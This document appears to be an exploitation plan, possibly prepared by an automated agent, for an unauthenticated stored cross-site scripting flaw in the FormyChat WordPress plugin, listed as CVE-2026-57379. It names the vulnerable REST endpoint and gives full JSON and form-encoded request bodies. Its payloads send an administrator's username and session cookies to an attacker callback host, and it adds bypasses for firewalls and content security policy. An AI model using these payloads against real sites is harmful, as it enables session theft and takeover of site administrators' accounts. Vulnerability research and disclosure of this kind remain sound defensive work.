Exploitation Research Plan - CVE-2026-57379

1. Vulnerability Summary

The FormyChat plugin (<= 2.15.3) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). The plugin registers a public REST API endpoint for form submissions that accepts arbitrary user input in the field parameter. This data is stored in the database without sufficient sanitization and is later rendered in the WordPress administrative dashboard (Leads management) without proper output escaping.

An unauthenticated attacker can inject malicious JavaScript into the form fields, which will execute in the context of an administrator's browser when they view the submitted leads.

2. Attack Vector Analysis

• Endpoint: POST /wp-json/formychat/v1/submit-form
• Vulnerable Parameter: field (specifically the values within the field associative array).
• Authentication: None required. The REST route is registered with 'permission_callback' => '__return_true'.
• Preconditions:
  • The plugin must be active.
  • At least one Widget must exist (the plugin typically creates a default widget upon installation).
  • Spam protection (reCAPTCHA/Turnstile) must be disabled (default state).

3. Code Flow

1. Entry Point: An unauthenticated POST request is sent to wp-json/formychat/v1/submit-form.
2. Route Handling: FormyChat\Publics\REST::register_routes (in includes/public/class-rest.php) routes the request to handle_form_submission().
3. Data Extraction: In handle_form_submission($request), the plugin extracts the field parameter directly from the request:

   $form_data = [
       'field' => $request->has_param('field') ? $request->get_param('field') : [],
       // ...
   ];
   

   $request->get_param('field') returns the raw array provided in the JSON or POST body.
4. Spam Bypass: verify_formychat_spam_protection($request) is called. If formychat_turnstile_enabled and formychat_recaptcha_enabled options are false (default), it returns true, allowing the request to proceed.
5. Sink (Storage): The unsanitized $form_data is passed to FormyChat\Models\Lead::create($form_data). This method stores the raw field data in the database.
6. Sink (Output): When an administrator navigates to the "Leads" section of the FormyChat menu in the WordPress dashboard, the plugin retrieves these records and renders the field values. Based on the logic seen in formychat_lead_created() (lines 177-184), the values are likely concatenated into HTML strings using wp_sprintf without esc_html() or wp_kses().

4. Nonce Acquisition Strategy

This specific exploit targets a WordPress REST API endpoint with permission_callback set to __return_true.

• Requirement: In WordPress, REST API endpoints with __return_true generally do not require a nonce for unauthenticated POST requests.
• Bypass Analysis: The handle_form_submission function does not call check_ajax_referer or wp_verify_nonce.
• Strategy: No nonce is required. The request can be sent directly to the REST API.

5. Exploitation Strategy

The goal is to inject a Stored XSS payload that triggers when an admin views the leads.

Step 1: Discover Widget ID

The submission requires a widget_id. Usually, the first widget is 1.

• Verification: Use browser_navigate to the homepage and check for formychat-settings or similar localized JS objects, or simply attempt the exploit with widget_id=1.

Step 2: Submit Malicious Lead

Send a POST request to the REST API containing the XSS payload.

• Tool: http_request
• Method: POST
• URL: https://<target>/wp-json/formychat/v1/submit-form
• Headers: Content-Type: application/json
• Body:

  {
    "field": {
      "Name": "Victim",
      "Message": "<img src=x onerror='fetch(\"/wp-json/wp/v2/users/me\").then(r=>r.json()).then(d=>fetch(\"https://<attacker-callback>/?user=\"+d.slug+\"&cookie=\"+document.cookie))'>"
    },
    "widget_id": 1,
    "form": "formychat"
  }
  

Step 3: Trigger Execution

The payload will execute when the admin navigates to:
/wp-admin/admin.php?page=formychat-leads (inferred slug based on plugin name).

6. Test Data Setup

1. Install and activate the FormyChat plugin version 2.15.3.
2. Ensure a widget is created:
   • wp eval "FormyChat\Models\Widget::create(['title' => 'Test Widget']);" (If testing via CLI).
3. Ensure reCAPTCHA/Turnstile is not configured (default).

7. Expected Results

• The REST API should respond with {"success": true, "data": {"lead_id": <ID>}}.
• The database table for leads (likely wp_formychat_leads or stored in wp_options/wp_posts depending on the Model implementation) will contain the raw <img src=x onerror=...> string.
• When an admin views the Leads page, the browser will attempt to load the image with source x, fail, and execute the onerror JavaScript.

8. Verification Steps

After performing the http_request, verify the lead exists in the database:

# Check if a new lead was created with the payload
wp db query "SELECT * FROM $(wp db prefix)formychat_leads ORDER BY id DESC LIMIT 1;"

(Note: If the table name differs, use wp db tables | grep formychat to find the correct table).

9. Alternative Approaches

• Direct POST: If application/json is blocked by a WAF, use application/x-www-form-urlencoded:
  field[Name]=Test&field[Message]=<script>alert(1)</script>&widget_id=1&form=formychat
• Payload Variation: If fetch is blocked by Content Security Policy (CSP), use a simple redirect or an iframe injection:
  <script>document.location='https://attacker.com/steal?c='+document.cookie</script>
• Metadata Injection: The meta parameter in handle_form_submission is also handled without sanitization and may provide an alternative injection vector if the field values are escaped but meta values are not.